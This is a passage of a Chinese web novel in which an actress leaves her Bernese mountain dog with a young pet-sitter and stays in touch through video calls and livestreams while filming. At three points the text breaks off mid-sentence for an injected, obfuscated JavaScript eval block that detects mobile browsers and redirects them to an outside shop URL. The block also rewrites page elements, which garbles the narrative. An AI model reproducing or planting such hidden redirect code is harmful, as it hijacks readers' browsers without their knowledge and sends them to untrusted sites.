林岁安从床上坐起来,在昏暗的灯光下,一双狡黠的狐狸眼睛直直地看着倪杉。 “那明天一早我把狗送过来。”就这么说定了。这个时间,再找新的寄养中心也不太现实了。倪杉叹了口气,转身往楼下走去。 “你的咖啡还没喝。”林岁安提醒她。那可是雀巢咖啡呢。 倪杉没理她,她在下楼的时候很小心,没敢扶危险的栏杆。 来到一楼,咖啡已经冷了,倪杉犹豫了一下,还是端起杯子一饮而尽。这是曾沐教给她的,即使不喜欢,出于礼貌也要喝光光。 8. 坏女人 第二天早上六点,倪杉就把一猪送去了林岁安家。 她把一猪的罐头和狗粮也一起带去,抱着一猪亲了又亲,很是不舍。 昨晚她在收拾行李的时候,一猪就知道自己又要和她分开。因此,它也学着倪杉的样子,把自己的玩具一件接一件地丢进摊开的行李箱里,想跟妈妈一起走。 倪杉特别耐心地和小狗解释,自己要去工作,最多两周就回来接它。 这样的离别在一猪长大的过程中有过许许多多次,可能是因为一猪刚刚丢失过,倪杉觉得这次自己好像比以往任何一次分开都更加不舍。 她把牵引绳交给林岁安,对着小狗说: “妈妈走了,你想妈妈的话记得给妈妈打电话。” “知道了妈妈,拜拜!”林岁安睡眼惺忪地举起一猪的爪子,目送倪杉拖着行李箱离开。 她看着倪杉的背影,脑海里响起昨晚倪杉穿着拖鞋时露出的清瘦且骨节分明的脚踝。 好漂亮,好性感。 林岁安记得倪杉身份证上的信息,因此也知道了她的年龄。 三十一岁。 好完美的年纪,光是想想就觉得很性感了。 我什么时候才能熬到三十一岁。 林岁安牵着一猪往家走去,在心里暗自叹气。 一来到林岁安家,一猪就去招逗在客厅的几只猫猫。它很喜欢猫,可惜猫猫都不喜欢它,一见它冲进来,纷纷四散跑开。 倪杉和小助理桑桑在京市机场碰了面。 京市这天在下雨,天空是一片雾蒙蒙的灰。 “姐,你昨晚是不是没睡好。”桑桑问她。 “还好。我昨晚……我昨晚干嘛了来着。” 我昨晚跳舞了。 跳舞之后还喝了一杯雀巢咖啡,速溶的。 两人办理了行李托运,在这期间,有几个倪杉的粉丝来机场送机,倪杉跟她们随意地聊了几句。 她没想到自己演恶毒后妈也能吸引到粉丝,都是年纪不大的小姑娘,见面的次数多了,倪杉也能记得她们的长相和网名。 这几个小粉丝总是坚信倪杉会红的,每次都和她说姐姐你一定可以的,你就是我们内娱的后妈颜值天花板,搞得倪杉都有些不好意思了。 她请这几个小姑娘喝奶茶,让她们自己取餐。时间来不及了,她和桑桑在小姑娘们恋恋不舍的注视下过了安检,往登机口赶去。 “姐,你没发现你粉丝越来越多了吗。”桑桑一边跑,一边和倪杉打趣。 “发现了。上次是五个,这次来了八个,多了三个。”倪杉点点头,表示赞同。 倪杉本身去机场是不化妆的,后来发现有人接机,又是拍照又是录像,她于是开始媚粉,后来每一次都记得出门前给自己化个淡妆。 两人在经济舱齐齐落座。 倪杉一歪头,看到桑桑在手机上编辑了一条微博,正在点击发送。 倪杉的工作室和微博都是由桑桑代为运营,无论是自拍还是她拍,她都会把照片发给桑桑。桑桑帮她简洁地修一修,再配两句文案,也算是每周都在营业了。 倪杉也能登陆自己的账号,只是她这人确实不爱发动态,也不发朋友圈。 她的生活其实挺无趣的,除了一猪,没什么值得和人分享的好事。 但是今天她好像真有点想分享歌曲的冲动。 她点开音乐软件,找出地下丝绒的FemmeFatale,反手分享了出去。 没过多久就有了评论: “妈妈今天怎么忽然营业两条,好反常。” “消失的妈妈忽然出现。” “妈妈,叽里咕噜的听啥呢,扇我!” 这群小姑娘在线上一口一个妈妈,线下见了面却只敢怯生生地喊她姐姐。 飞机开始滑行,倪杉靠在椅背上闭上眼睛,不再看手机。 不知为什么,她脑海里又想起林岁安昨晚说的话。 她是怎么说的来着? 人一定要做自己喜欢事,不然这辈子就算是白活了? 倪杉细细想来,自己这一路跟着曾沐离开武术学校,误打误撞进了这一行,从武打替身一步步做到现在,也算是在小演员里小有所成了。 大的成就她做不到也不奢望,反倒觉得自己现在这样刚刚好。去逛街去吃饭去买菜也不会被人认出来,和当红艺人相比,这样反倒比较自由。 谈不上喜欢,也谈不上不喜欢。 也就那么回事吧。 她想,她或许就是林岁安口中的一直到老到死都不知道自己喜欢做什么的那种可怜人。 人到底要怎么才能知道自己喜欢什么、不喜欢什么呢。那我对什么事情都无感,是不是意味着对什么事情都不喜欢呢。 她好想问问曾沐啊:你不在了,我的人生要怎么继续。 倪杉的人生计划原本很简单,曾沐做大明星,她就做小明星,曾沐当影后,她就演好每一个小配角。 曾沐走了,她人生的指向标不见了。 空姐推着小车来一一询问旅客喝什么,倪杉听到后面的人选了咖啡。 她想了想,也要了咖啡。 接过空姐递来的小纸杯,倪杉问桑桑: “你有多久没喝过速溶咖啡了?” “啊?我一般都喝瑞幸。”桑桑被这个问题问懵了。 倪杉喝了一口咖啡,和昨晚喝的咖啡味道不太一样,看来用的不是同一个牌子的速溶咖啡。 喝了咖啡,她又从托特包里拿出剧本,随意翻看。 这次的角色依旧是个为爱痴狂的坏女人,她爱的人不爱她,因此,她为了得到自己想要的人,近乎偏执地伤害了许多无辜的人。 又是一个用来衬托女主美好品质的工具人。 同一个类型的角色演多了,她的戏路越来越窄,接到的每一个戏约都是这样的角色,为了过审,每一个都不得善终。 她不知道那条过审标准具体是怎么写的,难道是:“坏女人不能有好的结局,不能被爱,不能获得幸福”吗。 速溶咖啡没什么作用,倪杉看了几分钟剧本,就跟看课本似的,很快就睡了过去。 等她被桑桑叫醒,飞机已经落地。 打开手机,就看到猫狗幼儿园园长发来的新消息: 岁岁平安:“一猪妈妈,一猪已吃饱喝足,现在正在和好朋狗一起玩。” 后面是一张一猪和大黄的合照,两只狗狗看上去都很开心。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299289|198623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背景里还有几只小狗,都悠闲地趴在小院儿的草地上晒太阳。 林岁安在白天几乎都是让小狗们自由地在房子里活动,直到狗子们开始打架,她才会把它们关进隔离间。 一猪在倪杉家的大部分时间都是趴在垫子上无所事事,在林岁安这里反而比较活跃,招猫逗狗,爱撩还胆小,很是惜命,一有什么事就去找林岁安来保护自己。 每只狗都有自己的小性格,相处过几天,林岁安大致能摸清狗子们的那些心眼子。她感觉自己就是在带小孩儿,只不过猫狗比小孩儿要可爱多了。 那句话怎么说的来着,别人的狗永远都比自己的狗要更好撸,撸到就是赚到。 她一边赚钱,一边撸别人的狗,既要又要,简直就是人生赢家。 林岁安给每只狗狗都拍了视频和照片发给它们各自的主人,完成了上午的汇报,她坐在小院儿的秋千一摇一晃,看着对面的房子。 对面房子的院子没有铺草坪,也没有种花花草草或蔬菜,而是铺了地砖,一眼望去是清冷的灰。 很难相信有人会这么浪费自己的小院子。 当初布置小院儿的时候,林岁安设计了好多种方案,可惜她只有一个院子,只能选其中的一种,因此含恨放弃了很多可能。 好可惜。 在放空之际,她忽然想起早上的事: 早上去市集买菜的时候,卖菜阿姨对林岁安说,听说咱们这边搬来一个女明星。 “女明星?什么样的?”林岁安正忙着挑新鲜蔬菜,因此听得三心二意。 这荒山野岭的地方,哪儿来的女明星。 根据林岁安的生活经验,漂亮女人只会出现在纸醉金迷的大城市。 “坏女人。” 卖菜阿姨兴致勃勃地告诉她: “她在电视剧里做了很多坏事,把她老公的钱卷走,把她婆婆推进水里,还打她女儿,扣着她女儿的录取通知书不让她去上大学。” “………阿姨,您看的是短剧吧。”林岁安的大脑艰难地识别了这段文字。 这是碳基生物能写出来的剧本吗,还真有人拍,还真有人乐意看。 “总之,这个坏女人就住在这附近,昨天有人看见她出来买东西了。”阿姨四处看看,好像真把演员本人当作剧里的角色了。 林岁安坐在小院里,想到自己在这附近见过唯一漂亮的女人也就是她的邻居了,气质很好,身材消瘦,有点事儿事儿的,很符合她对女明星的刻板印象,于是打开手机,搜索倪杉的名字。 出来的第一个视频就是倪杉在戏里连续扇女儿巴掌的视频,倪杉在戏里的妆容比较显老,和林岁安印象中的模样差别很大,但看得出是同一个人。 这么生猛的吗,啧啧。 真是人不可貌相。 她很快就找到倪杉的社交账号,一条一条看过来,内容简单谨慎不出错,不像是本人发的,更像是工作室的打工人发的,很快就翻到了最底部。 仅半年可见。 她又点开倪杉的朋友圈,也是仅半年可见,倪杉只在几天前发过一张照片。 是她和伯恩山犬击掌的特写照片,伯恩山的爪子真大啊,几乎和倪杉的手掌一样大。 9. 视频通话 在剧组,倪杉每天早上五点就要起床做妆造。还好这次是现代戏,不需要搞很复杂的发型,她一边吃早餐,一边抱着剧本临时记台词。 台词不能记太早,也不能记太晚,记太早容易忘,记太晚又容易记不住。她不是有资格多次出错的咖位,每次都把犯错的机会留给对手戏演员。 倪杉的戏份基本都跟主角同步,通告却排得很分散,如果能紧着她的时间就好了,她就能早几天收工,早几天回家去见她的小狗。 女主是近期势头很猛的新人小花,倪杉在开机仪式上和她礼貌打了招呼,除了工作期间,休息时间基本没什么交流。 名利场都现实,倪杉不是有交往价值的女演员。 倪杉看着镜子,她被造型师打扮成角色该有的样子,成熟,美丽,甚至看上去很有个性和野心,不是能够任人摆布的软柿子。 冷硬的那部分气质大概是小时候学武术时不知不觉练就的,现如今,武侠电影早已成为过去式,她有很多年都没有接到任何动作片。 没有人愿意费时费力拍武打动作片了,观众都只看喜剧片和爱情片。 她拿着剧本走到拍摄场地,调整好状态,开启一天的工作。 倪杉是口碑很好的演员,很多情绪戏都能一遍过,因此即使没有金主也没有背景,也在圈里被制片和导演口口相传。 “咔,这条很好,倪老师咱们再来一条,保一条。”导演对着监视器满意地说。 倪杉调整好情绪,又进入到角色中。 演员很难把自己跟角色之间的关系分得清清楚楚,至少倪杉做不到。她会共情自己的角色,思考自己角色为什么这么偏执,以及这个角色背地里的苦衷。因此她在片场总是忍不住情绪低落,心情沉重。 她的人物小传总是写得很简略,不像主角那样有丰满复杂的背景和故事。她只能自己想象,像是把自己的一部分生命分给她。 在等待期间,倪杉一个人坐在椅子上,散发的气场让任何人都不敢轻易打扰。 桑桑站在不远处,拿着手机对着她拍下这一幕。 晚上八点,林岁安在微信上询问倪杉方不方便视频通话。 每只小狗每天都会被安排和主人视频通话十五分钟甚至更久,目的是让小狗听听主人的声音,拥有安全感和确定感,知道自己并不是被遗弃在这里,同时也要让主人看看小狗的精神状态。 其它小狗的主人都在各个时间主动联系了林岁安要求打视频,只有倪杉没有发来消息。 林岁安等到晚上八点,把其它小狗都安排进独立的小隔间准备睡觉,她坐在客厅的公园长椅上给倪杉发去了消息。 岁岁平安:“你好,在吗。” 岁岁平安撤回了一条消息。 岁岁平安:“一猪妈妈你好,今天你还没有和你的宝宝视频哦。” 倪杉刚结束今天的最后一场戏,周围工作人员来来往往,她找了个没人的地方,主动发起了视频通话。 “不好意思,我不知道还有这个服务项目。” 电话一接通,倪杉有些抱歉地说: “之前那些寄养机构都不会让我和一猪视频,只是给我看一些监控视频之类的。” 林岁安猝不及防地和她四目相对,眼里闪过哇哇乱叫的惊艳。 啊,好漂亮。原相机视频都这么美,果然是女明星。 倪杉这边灯火通明,林岁安家天花板上那几个小灯泡照得整个空间很昏暗,倪杉看不太清楚她的脸。 她等了一会儿,意识到林岁安举着手机,摇摇晃晃走到了二楼卧室。 一猪正在林岁安的双人床垫上趴着,看样子已经快睡死过去了。 “它今天都干什么了?”倪杉问她。 “玩儿了一天,招猫逗狗,哪儿哪儿都有它,现在已经累瘫了。”林岁安说着,伸手拨弄着一猪的耳朵。 “别烦它了。让它睡吧。”倪杉无奈地说。一猪听到她的声音也只是动动耳朵,看样子很累。 “怎么样,这下放心了吧。”林岁安有点得意地说。能把幼儿园的所有狗狗都累瘫,让所有狗狗都有足够的运动量,她觉得自己很有本事。 “嗯。”倪杉点点头,她有些不知道该说什么,林岁安那边也陷入了沉默。 林岁安找了个手机支架,把手机对着一猪,就这么安安静静地让倪杉看一猪睡觉。 倪杉托腮坐在椅子上,心里想说这通电话其实可以挂断的,没必要这么严谨,然后听到林岁安的背景里传来了音乐声。 林岁安就这么潇洒地离开,去忙她自己的事,倪杉盯着手机屏幕,意识到自己已经很久很久没有和人打超过三分钟的视频或语音通话了。 “一猪。”她试探性地叫道。 听见熟悉的声音,一猪抬起头,四处看看,完全找不到妈妈在哪里,绕了一圈又趴回床上去继续睡。 十几分钟后,林岁安终于回来了。 倪杉没想到她竟然趁这个功夫去洗了澡,一边擦着头发,穿着睡衣,就这样一步步靠近镜头。 她听到林岁安忽然问道:“姐姐,你是演员吗?”不是疑问句,而是肯定句。 “是。”倪杉点点头。 “你这次去工作是去拍戏吗?” “是。” “你演什么?” “坏女人。” “嗯……你总演坏女人是因为你喜欢吗?”林岁安好奇地问她。 “是。人一旦演过坏女人,就再也回不去了。”倪杉和她半开玩笑半带真地说。 她猜想林岁安大概也看到了网上那些关于自己的黑料。 因为倪杉演的那些角色一个比一个不讨喜,因此有一些网友甚至说那是她本色出演,她就是个喜欢霸凌别人、喜欢借着拍戏的由头欺负别人的人。 倪杉也是醉了。 她想,我一个没钱没势的十八线女演员,我能霸凌得了谁。 倪杉看着手机屏幕,还来不及说谢谢你让一猪睡你的床,不好意思给你添麻烦了,就听到林岁安说:“那么今天和小狗视频通讯就先到这里啦,晚安,下次再见。” 倪杉还来不及说拜拜,林岁安就挂断了电话。 ……… 怎么会有这么跳脱的人。一段对话突然开始又突然结束,连个收尾都没有。 等到倪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299290|198623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杉结束了视频通话,在一旁观望许久的女主角凑过去主动和她搭话: “姐,你也养狗啊。” “对。” “什么狗?” “伯恩山。” “那么大的狗!我养猫,我养了一只布偶猫和一只英短。” 倪杉点点头,她其实很想说,相比狗而言,我也更喜欢猫,但这种情况下这么说又显得十分刻意,好像她在迎合对方的喜好主动讨好对方,因此她什么也没说。 她想起那天在林岁安的废土风水泥房里,那只小猫静静地窝在她的腿上睡觉,小猫的爪子软软的,小肚子一直咕噜咕噜响,好宁静好治愈。 她一直都想养猫。 挂了视频通话,林岁安看到家庭群里有新消息。 爸妈在问她最近的生活情况,她在相册里找出一张自己站在小院里的照片,又选了一张从网上保存的悉尼歌剧院照片,用修图软件一拼凑,就合成了一张爸爸妈妈你们好,我在澳洲很想你。 她犹豫了一下,还是把这张照片发了出去。 能骗一天是一天吧。 她骗父母说自己正在澳洲实习,在律所工作,明年回国。 第二天一早,倪杉在做妆发的时候点进了林岁安分享的直播间。 林岁安早上六点带着狗狗们一起进山游玩,她开了直播,然后把直播间分享给给位家长,方便她们点进来看看自己家小狗的精神状态。 倪杉发现林岁安的直播间人数还挺多,将近八九十人。现在的人都好闲好无聊啊,连遛狗都要看。 林岁安带着狗子们走了一条荒无人烟的小路,穿过一片小树林就到达一片空旷的草地,很适合小狗打滚奔跑。这地方还是大黄带她来的,算是大黄的秘密基地。 林岁安只给聪明的狗松开狗绳,拿出飞盘,金毛和边牧迅速就位。 一猪在一旁也表现出很想玩的样子,但是不行,它有走丢的黑历史,林岁安不确定它会不会撒手没,因此谨慎地抓着它的牵引绳。 “姐,你在看什么?”桑桑看她看得很专注,好奇地凑过去,却看不出个所以然来。 这是什么户外直播博主吗。 “我不是给一猪找了个新的寄养幼儿园吗,园长现在正在带小狗们玩飞盘。”倪杉给她解释着。她注意到今天好像新来了两只小狗。 “在榆城吗?” “是。这个院长就是之前捡到一猪的人,我给了她一大笔感谢费。” 倪杉说着,给林岁安在线送了个小礼物,瞬间就变成了林岁安的榜一。 “谢谢!谢谢一猪妈妈送来的嘉年华!太客气了!谢谢谢谢!” 哎哟,姐,你说你,你不如把钱直接打给我呢。 林岁安说着,给了一猪一个大特写: “一猪,跟妈妈说早上好。” 一猪一头撞翻了她的手机,视频画面一黑,林岁安陷入一阵忙乱之中。 倪杉被她逗笑了。 桑桑提醒她要去准备了,她才放下手机,收敛笑容,踩着高跟鞋站起身,气势汹汹向前走去。今天早上的第一场戏就是扇女主巴掌,她得提前去和女主磨合一下。 10. 喜欢爪子 在剧组的这段时间,倪杉发现林岁安每天早上遛狗时都会开直播, 林岁安照顾猫狗非常认真负责,很有耐心,虽然寄养费用很高,但又让主人觉得很值。 比如,倪杉看到林岁安会分批次在小院里带着小狗玩球球,一猪就很喜欢玩球,总是抢不过其他狗,林岁安会很细致地把小狗分开,单独带每只小狗在小院玩十五分钟,保证每只小狗都能玩到球。 倪杉发现小狗幼儿园园长真不是什么人都能做的,乍一看很容易,就是遛狗喂狗洗狗玩耍,其实琐碎的事情非常多。她自己就没有这种耐心,也无法平衡好每一只小狗的需求。 她发现最近来幼儿园的小狗中有一只比格犬,林岁安每天直播时都会着重碎碎念一下这只狗。这只狗有分离焦虑,在陌生的环境中忍不住要不停地咬坏一些东西。 倪杉每天看她的直播,也了解到小狗和小狗之间差别巨大,什么性格的狗子都有。这么一对比,一猪简直算得上是天使小狗了。 可能是狗随主人吧。 一猪,像曾沐,治愈又美好。 倪杉和林岁安之间的聊天内容也渐渐多了一些,从一开始沉默地看着一猪睡觉,两人开始聊一些有的没的来让通话气氛变得不那么尴尬: 倪杉在某个晚上看着林岁安撸狗的手若有所思地说: “你的手很漂亮。” 有点像假手,就是那种画画的时候被当作模型的手。 “可惜我喜欢小猫小狗的爪子,不喜欢人的手。” “好巧,我也是。”林岁安抓起一猪的胖爪子,怼在镜头前给倪杉看。 “你们家,你自己养的狗其实就只有大黄,对吗。”倪杉很少在她的遛狗直播里见到大黄。大黄好像从不跟她们一起同流合污。 “对。大黄是我家的嫡长子,已经绝育很久了。” “大黄是散养的吗。” “不散养没办法,它特别有自己的想法,有很多想去的地方,喜欢一个狗进山呆着。我之前担心它被坏人抓走,不让它出门,它就变得肉眼可见的不开心,唉。” “大黄知道你家里这些来来往往的过客狗是怎么一回事吗。” “知道的。” 林岁安有时也会问倪杉一些关于剧组的八卦: “姐,你们演员平时会不会演着演着就爱上自己剧中的cp啊。” “嗯……可能有的人会吧,但我不会。”倪杉摇摇头。 有那么一些人,当你见识过她私下的样子,对她敬而远之还来不及呢,又怎么会爱上她。倪杉想,做这一行的几乎没有好人,名利场里没好人,如果你觉得某人好,那就说明你看人不准。 “那句话怎么说的来着,做我们这行的最忌讳的就是……爱上同事。” 林岁安笑了笑,看到时间满十五分钟了,主动拿着一猪的狗爪子对着镜头摆摆手: “好啦,时间到啦,一猪妈妈晚安。” “晚安。” 随着视频挂断,两个各自关掉房间里的灯,各自在自己的床上睡去。 周五周六,女主角跟剧组请假,她要去海市参加某杂志举办的美妆盛典,同一时间,倪杉也找导演请了两天假。 倪杉刚好在半个月前也收到了庆典邀约,她名气太小,叫得上名字的品牌都不会支持她,更不会借礼服给她,她的小助理总是积极联系所有品牌公关后碰一鼻子灰。 倪杉自己提前在网上买了礼服。 上次在观春这家店买的礼裙就很不错,质感很好,穿出去不输大牌,只是店铺销量惨淡,几乎每个款式的销量都是0。(周漾春:我就说礼服生意不好做吧,谁做谁倒闭) 这条裙子的名字很好听,叫人鱼。 裙摆是波光粼粼的粉蓝色,正面看起来中规中矩,后背却有独特的设计。 倪杉把裙子拍下来,店铺库存告急,这条裙子就自动下架了。 她在后台把自己的身高体重三围信息发给客服,等了一周就收到了货。 倪杉独自在酒店房间试穿了裙子,很美,很合身。虽然这条裙子已经下架了,只卖这一条,她还是对着镜子拍了两张不露脸的照片,写了一段好评,附上买家秀。 她把裙子脱下来,站在镜子前,把几根藏不住的白头发随手拔掉。 又该染头发了。 最开始,白头发的数量还是可控的,她每隔几天就用小镊子拔掉几根。从去年开始,她发现黑发变白的势头越来越猛,怎么都拔不完,她不得不开始让桑桑每隔一段时间就帮她用染发剂修补变白的头发。 白发让她对自己的年纪有了实感,她本以为二十多岁和三十岁出头不会有太大差别。 她给桑桑发了消息,不一会儿,桑桑就带着两盒染发剂敲响了她的房门。 倪杉坐在椅子上,桑桑带着一次性手套,帮她仔细把染发剂涂在头发表面,绝不放过任何一根白头发。 “好了姐,接下来的一个月内应该都不会有问题了。”桑桑看着镜子里的倪杉,满意地摘下手套。接下来再等二十分钟就可以把多余的染发剂清洗掉了。 “谢谢啊。”倪杉都快睡着了。 “太客气了姐。” 桑桑在倪杉不远处的椅子上坐下,拿起奶茶喝了一口: “姐,自从你搬到榆城去,我都见不到一猪了。” “是啊,和京市相比,榆城确实很不方便。但也有一点好处吧,就是一猪在那边生活得更快乐了。” 倪杉想起一猪在林岁安的小院子里玩球的画面,心都软了几分: “你没发现在京市几乎见不到任何大型犬了吗。大家都搬走了。” “所以你要一直留在榆城了吗?” “应该吧,或许等到一猪去找曾沐了,我才会考虑搬回京市。” 小狗的生命很短暂,倪杉从带它回家的那一天起就做好了心理准备。 美妆盛典在海边搭了舞台,所有嘉宾都要在这边走红毯。 海市的海是灰色的,倪杉举起手机,拉近镜头,对着不远处的风景拍下一张照片。海风吹得她瑟瑟发抖,她披着一件厚实的西装外套,感觉自己的高跟鞋里进了沙子。 新染的头发颜色很明亮,倪杉一头蓬松的卷发很显眼,她在怪桑桑把染发剂买成了浅棕色,应该买黑色才对。桑桑在一旁对着倪杉拍照,一个劲儿地说这样就很好看啊,换个新发色换种心情嘛。 她甚至还很欠揍地说:“没事哒没事哒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299291|198623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐姐,等你下个月再需要染头发的时候再换成黑色就好。” 倪杉气得穿着八厘米的高跟鞋就要打她。 她没吃晚饭,怕吃饱了之后会有小肚子凸出来。这礼服很挑身材,等坚持到红毯结束就可以吃东西了。 红毯开场由一位女明星在舞台上弹了一首钢琴曲。 她一边说着自己很多年没弹了早就忘了,一边duangduangduang地弹了一首《诀别书》。 倪杉每次听到这首曲子都会有点想哭,会想起离去的人,想起她没完成的人生计划和种种遗憾。 她望着茫茫大海,天空中飘着小雨,桑桑举着一把很大的黑伞,把倪杉笼罩在伞下。 林岁安坐在原始人款式的大石头餐桌前,一边吃饭,一边刷手机。今天她给自己做了红烧排骨饭,她要挑一个好节目陪伴自己度过美好的晚餐时间。 一个美妆盛典的直播间被推送到她的首页,她不小心点进去,正想退出来,就听到了熟人的名字: “让我们欢迎——实力派女演员——倪杉。” 倪杉走上红毯,她胸口的贝壳项链很特别,没有珠光宝气的装饰,只是一颗最简单的白色贝壳。 林岁安连忙把手机屏幕拿到一猪面前:“快看,你妈!” 她有点激动。 就是那种看到熟人上电视的激动。 她低头看着手机屏幕,觉得这样的倪杉很陌生,到底是女明星,往台上一站就艳光四射,吸引所有人的目光。 倪杉长得很有辨识度,至少林岁安在她所叫的上名的女演员里还没见过一个和倪杉长相类似的脸。 人鱼礼裙勾勒出曼妙的身材,在视觉上很有美感。倪杉转过身,在签名板上写下自己的名字。 镜头给了她一个特写,她露出女演员专用的假笑。 这还是林岁安第一次见她笑。 很惊艳,回眸一笑百媚生,好像港风画报里的女明星。 上次在家里一起跳舞时,林岁安印象中的倪杉一直都冷着一张脸,很是颓丧,皮肤苍白,完全没有朝气。 林岁安不知道这是不是就是禁欲,反正就是不怒自威气场很强,让人一点性冲动都没有。 在阴天的海边,倪杉整个人散发着一种忧郁的气场,这就是演员吗,往那儿一站什么话都不说,就能让人脑补出一番失恋大戏。 倪杉下了台,镜头给到另一位女演员,林岁安又看了一会儿,退出了直播间。 就这么一会儿功夫,她的饭都凉了。林岁安端着盘子放进微波炉加热,一猪和大黄在客厅一狗一个角落呆着,猫猫们聚集在长椅上,每个小动物都很悠闲。 猫狗幼儿园的狗子来来去去,换了一波又一波,只有一猪还没被妈妈接走。其他狗子都只寄养三四天,一猪却是半个月起住。 但一猪也没有表现出很想妈妈的样子,很是把林岁安家当自己家,林岁安昨晚睡到一半,硬生生被一猪从床上挤了下去。 好家伙,不愧是一百斤的大狗。 一猪很是可爱,知道自己犯了错,一脸害羞地把脑袋埋进林岁安怀里和她撒娇。 每只狗都有独特的性格,林岁安觉得一猪是当之无愧的小甜心。 11. 野老人 晚上,林岁安照例和倪杉视频通话,今天时间比以往都要晚,快十一点了。 她靠坐在床上,怀里抱着一猪,眼睛都睁不开,还是坚持给倪杉看小狗。 “我今天在直播间看到你了。”林岁安说。 “啊?哦对,盛典有直播。”倪杉反应过来,瞬间觉得很不好意思。 当你不怎么红却和很多当红明星一起出席同一个活动,就会觉得不好意思。 “还是在海边呢,在海边走红毯是什么感觉?”林岁安问她。 “嗯………”倪杉露出一副一言难尽的表情。 今晚很狼狈。 所有嘉宾走完红毯后,移步到另一个露天区域享用晚宴。迎着海风吃饭本身就很狼狈,晚上还下起了雨。 一开始是纷纷扬扬的小雨,到后来变成大雨。 倪杉坐在椅子上,看着长桌对面的艺人都一声不吭地坐在桌前拿着刀叉吃饭,工作人员站在身后,为他们打着伞。 晚宴本身也有直播间,后来因为雨势太大而被叫停了。 倪杉觉得此情此景很是好笑,她很想拍张照发给谁看看,然而没有可以分享的人。 在不远处的一桌,她还看见了熟人,她的前任。 两人隔着不远的距离点点头,算是打了招呼。 倪杉的前任是个制片人,两人是在剧组认识的。 当时剧组在一个瀑布景区拍摄,两人在工作中一来二去就熟悉了。杀青之后,制片人约倪杉来家里喝酒,酒局里还有很多圈内的朋友,酒劲上头,对方拉着倪杉单独去了卧室表白,问她我们能不能在一起,倪杉点了头。 和很多人一样,两人在一起只是因为有那么一点心动外加很寂寞,想要有人陪伴,不想那么孤单。 或许是因为两人都抱着一种淡淡的态度处理感情,都觉得感情是生活中的调味剂,可有可无,因此分开时也没有撕心裂肺的不舍。 今年年初,倪杉刷到她和新女友在普吉岛度假、官宣。倪杉很想给那条朋友圈点个赞,又怕对方觉得不舒服,因此什么也没有做。 倪杉收回视线,低头看着眼前的事物。她饿了一天,强迫自己吃了几口牛排,直到看到有艺人开始离席,她找了个时机也从椅子上溜走,和桑桑一起回酒店点外卖。 倪杉走前还是和杂志主编打了招呼,假装热络地拥抱、拜拜。她和桑桑一边逃跑一边吐槽,回到酒店换衣服时,倪杉发现自己的新礼裙免不了被淋湿的命运,虽然这裙子只穿这一次,以后不会再穿,她还是在后台问了客服这裙子能不能洗。 等倪杉在酒店房间洗好澡吹了头发再吃好晚餐,已经到晚上十二点。 她这才想起今晚好像还没和一猪视频。 她总是忘记这件事,每次都要林岁安提醒她。 倪杉试探性地发了条消息给岁岁平安,没想到对方还醒着。 “不好意思,我今天忙的有点晚,忘记还要打视频。你一直在等我吗。” 林岁安当真是困极了,眼睛都睁不开,她就这么把手机放在支架上,镜头对着一猪,由于一猪紧紧靠在她怀里,林岁安自己的半张脸也免不了入境。 倪杉靠着枕头,用手指轻轻点了点一猪的脑袋,隔着屏幕摸了摸它。 好想小狗啊。 她给林岁安又转了新一周的寄养费,林岁安今天给一猪洗澡了,还做了驱虫。她本来想跟倪杉说,一猪是实心儿的,水打湿毛毛,整只猪一点都没有缩水,但实在是困得要死。 她年纪轻轻就作息规律,早上很早就要起来清理小狗的寄宿隔间、遛狗,因此从不熬夜。 十五分钟过去,林岁安好像已经睡着了。 倪杉又等了一小会儿,主动挂断了视频电话。 早上七点,林岁安牵着狗子们出门遛弯儿。 她今天起晚了,昨天晚睡了一会儿,早上生物钟忽然失灵,感觉自己平白无故失去了一个多小时的时间。 小狗们一出门就变得格外欢脱,蹦蹦跳跳,像一群小孩子,林岁安牵着狗绳一边走,一边注意到小路周围的草木越来越茂盛。 她穿着卡其色夹克,长发盘起,踩着一双很多年前在zara买的马丁靴。 一人几狗穿进树林,林岁安慢下脚步,让小狗在这里上厕所。林子里时不时有鸟叫声,生态很好,她抬起头,看见一只蓝尾鸟从树梢飞过。雾气已经散去,天色清蓝,林岁安加快脚步,带着小狗们跑了起来。 林岁安计算过,穿过这片树林要花十五分钟时间。这是一片银杏林,春夏是随处可见的绿色,等到秋天,这片树林就会变成金色。 到达一片空旷无人的草坡,一猪迫不及待地跟林岁安讨要球球,林岁安从口袋里拿出一个气球,在狗子们的注视下一点点把气球吹大,然后系紧。 她把气球抛出去,小狗们跳起来用脑袋把气球顶在空中玩儿。一猪被狗绳绊倒很多次,林岁安于心不忍,她看了看直播间在线的人,倪杉今天没在看直播。 她给一猪松开狗绳,让一猪也能自由奔跑。 